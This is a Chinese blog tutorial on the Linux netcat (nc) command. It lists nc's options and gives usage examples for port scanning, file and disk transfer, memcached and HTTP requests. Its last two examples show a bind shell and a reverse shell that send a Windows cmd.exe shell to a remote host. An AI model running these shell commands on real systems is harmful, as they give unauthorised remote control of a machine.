搜索
查看
编辑修改
首页
UNITY
NODEJS
PYTHON
AI
GIT
PHP
GO
CEF3
JAVA
HTML
CSS
搜索
盐析白兔
这个屌丝很懒,什么也没留下!
关注作者
热门标签
jquery
HTML
CSS
PHP
ASP
PYTHON
GO
AI
C
C++
C#
PHOTOSHOP
UNITY
iOS
android
vue
xml
爬虫
SEO
LINUX
WINDOWS
JAVA
MFC
CEF3
CAD
NODEJS
GIT
Pyppeteer
article
热门文章
1
【引言】浙大机器学习课程记录
2
计算机毕业设计Python+Django的学生作业管理系统_pythondjango学生管理系统分为两个角色(学生和管理员),三个大模块: 1、学
3
做10年Windows程序员与做10年Linux程序员的区别
4
YOLOv7来临:论文解读附代码解析_yolov7论文
5
深信服技术支持工程师(安全、云计算方向)面试题目_深信服技术服务面试
6
ApplicationContext.publishEvent()-异步调用
7
中标麒麟关闭防火墙
8
MongoDB的C#官方驱动InvalidOperationException异常的解决办法
9
python中figure函数_Python Matplotlib.figure.Figure.autofmt_xdate()用法及代码示例
10
python3--os.path获取当前文件的绝对路径和所在目录_python 当前文件绝对路径
当前位置:
article
> 正文
linux nc命令使用详解(NetCat)_netcat发送十六进制数据
作者:盐析白兔 | 2024-03-05 23:54:37
赞
踩
netcat发送十六进制数据
功能说明:功能强大的网络工具
语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参 数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 详细输出--用两个-v可得到更详细的内容
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
nc使用示例
1. 端口扫描
# nc -v -w 2 192.168.2.34 -z 21-24
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
2. 从192.168.2.33拷贝文件到192.168.2.34
在192.168.2.34上: nc -l 1234 > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt
3. 简单聊天工具
在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。
4. 用nc命令操作memcached
1)存储数据:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
2)获取数据:printf “get keyrn” |nc 192.168.2.34 11211
3)删除数据:printf “delete keyrn” |nc 192.168.2.34 11211
4)查看状态:printf “statsrn” |nc 192.168.2.34 11211
5)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34 11211
6)清空缓存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)
5. nc -p 1234 -w 5 host.example.com 80
建立从本地1234端口到host.example.com的80端口连接,5秒超时
nc -u host.example.com 53
u为UDP连接
6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
连接到主机并执行
7. nc -v -z host.example.com 70-80
扫描端口(70到80),可指定范围。-v输出详细信息。
8. 远程拷贝文件
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,
server2上运行:
root@hatest2 tmp]# nc -lp 1234 > install.log
server1上运行:
[root@hatest1 ~]# ll install.log
-rw-r–r– 1 root root 39693 12月 20 2007 install.log
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
9. 克隆硬盘或分区
操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:
# nc -l -p 1234 | dd of=/dev/sda
server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
# dd if=/dev/sda | nc 192.168.228.222 1234
※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。
10. 保存Web页面
# while true; do nc -l -p 80 -q 1 < somepage.html; done
11. 模拟HTTP Headers,获取网页源代码和返回头部信息
[root@hatest1 ~]# nc www.linuxso.com 80
GET / HTTP/1.1
Host: ispconfig.org
Referrer: mypage.com
User-Agent: my-browser
HTTP/1.1 200 OK
Date: Tue, 16 Dec 2008 07:23:24 GMT
Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8
Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Cache-Control: private, post-check=0, pre-check=0, max-age=0
Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。
12. 传输目录
从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
引用
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
server1上运行:
引用
[root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234
13.REMOTE主机绑定SHELL
例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
14.REMOTE主机绑定SHELL并反向连接
例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
声明:
本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:
https://www.wpsshop.cn/w/盐析白兔/article/detail/194699
推荐阅读
article
【
音视频
开发
FFmpeg
】适合
新手入门
,
Linux
OS 环境下
FFmpeg
操作指南_ffmpe...
ffmpeg
是一个处理媒体文件的命令行工具 (command line based) 。它是一个拥有非常多功能的框架,...
赞
踩
article
Linux
Web
服务
_
linux
web
目录...
Web
服务
Web
服务
是Internet应用最流行,最受欢迎的
服务
之一。它是实现信息发布、资料查询、数据处理、网络办公和远...
赞
踩
article
Linux
Centos7Web
服务
配置_
centos7
部署web
服务
器
...
CentOS 7 是一种常见的 Linux 操作系统,用于搭建 Web
服务
器
。_
centos7
部署web
服务
器
cent...
赞
踩
article
ffmpeg
开发之旅(5):详解
ffmpeg
编译
与在
Android
平台上的移植_
warning
: a...
ffmpeg
开发之旅(5):详解
ffmpeg
编译
与在
Android
平台上的移植(码字不易,转载请声明出处:http://...
赞
踩
article
linux
的
nobody
是什么
用户
?
对
安全
有没有影响?_
linux
nobody
用户
干嘛
的
...
nobody
用户
可以提高系统
的
安全
性,但并不能单凭其存在就保证系统
的
绝
对
安全
。需要综合考虑多种
安全
措施来确保系统
的
整体安...
赞
踩
article
Linux
Ubuntu22.04 安装
stable
diffusion
webui
(不借助科学上网...
主要是因为从github上把sd
webui
拉下来之后,中间过程会从外网上下载很多模型文件、其他github上的项目,需...
赞
踩
article
命令
行/终端
下载
指令大全(
Win
+ Linux)_
binbash
下载
文件
命令
...
此篇文章,我会对互联网上针对win与linux大部分的
下载
指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。这款工...
赞
踩
article
【
Linux
】动
静态
库
_
tar
静态
库
...
2.如果没有默认安装到系统的gcc/g++默认的搜索路径下,用户必须指明对应的选项,告知编辑器, 头文件在哪里,
库
文件在...
赞
踩
article
linux
top
命令详解_
top
nic
...
linux
top
命令详解
top
命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况。## ...
赞
踩
article
【
Linux
C |
网络
编程】套
接字
选项
、
getsockopt
、
setsockopt
详解及C语言例...
【
Linux
C |
网络
编程】套
接字
选项
、
getsockopt
、
setsockopt
详解及C语言例子 ...
赞
踩
article
【
Linux
】
互斥
量
原理
的
实现_
linux
互斥
量
cas
...
为了实现
互斥
锁操作大多数体系结构都提供了swap或exchange指令该指令
的
作用是把寄存器和内存单元
的
数据相交换,由于...
赞
踩
article
【
Linux
】一站式教会:
Ubuntu
(无UI界面)
使用
apache
-
jmeter
进行
压测
_jmet...
近期做个SpringBoot项目,打包在电脑的
Ubuntu
系统上运行,并在
Ubuntu
内
使用
Jmeter进行
压测
,如果大...
赞
踩
article
paho
.
mqtt
.cpp库
编译
_
mqtt
linux
c++
编译
...
本人C++新手,cmake刚接触,最近想用到MQTT,下载的库老是
编译
不过,在网上找了很多教程说的都不太清楚,所以写下这...
赞
踩
article
esp
加密
linux
,
IPSec
中安全协议
ESP
、
AH
精解...
ESP
的号为50
AH
号为51一、
ESP
详解(一)
ESP
提供:confidentiality,data integri...
赞
踩
article
MQTT
交叉
编译
(海思v300 arm-
hisiv300
-linux-):
openssl
、
paho
....
编译
环境一、下载
openssl
、
paho
.
mqtt
.c、
paho
.
mqtt
.cpp这里使用的版本分别是
openssl
-...
赞
踩
article
linux
编译
mqtt
静态库_
编译
MQTT
C++ Client...
nmake-fms\nt.mak(这是静态库,动态库是ntdll.mak)nmake-fms\nt.maktest(测试...
赞
踩
article
关于LIUNX下C++
实现
MQTT
和SSL双向认证的
实现
_
c++
paho
.
mqtt
linux
...
关于LIUNX下C++
实现
MQTT
和SSL双向认证的
实现
,以及遇到的坑点_
c++
paho
.
mqtt
linux
c++
...
赞
踩
article
华为
云云
耀云
服务器
L
实例评测|基于
宝塔
部署
SpringBoot后端+前端工程_
宝塔
linux
面板...
本文主要是介绍
华为
云云
耀云
服务器
L
,并且基于
华为
云云
耀云
服务器
L
搭建
部署
了后端工程和Nginx前端工程,通过实际
部署
项目...
赞
踩
article
linux
22
端口
不通_
华为
云
Linux
服务器
如何连接登录?附3种方法...
大多数站长使用
Linux
服务器
都会选择安装宝塔面板来管理运维,虽然平时大多数情况下都是使用宝塔面板,但是在安装宝塔 ...
赞
踩
article
记录
华为
云
服务器
(
Linux
可视化
宝塔面板)-- 注册登陆篇_
华为
云
如何进宝塔
系统
...
本文介绍了
华为
云
服务器
注册登录的步骤,包括购买和配置选型、重置密码以及不同设备上的登录方式。文章总结了操作的简单性,并表...
赞
踩
相关标签
音视频
linux
ubuntu
ffmpeg
服务器
运维
apache
安全
stable diffusion
cpu
c语言
网络
套接字选项
getsockopt
setsockopt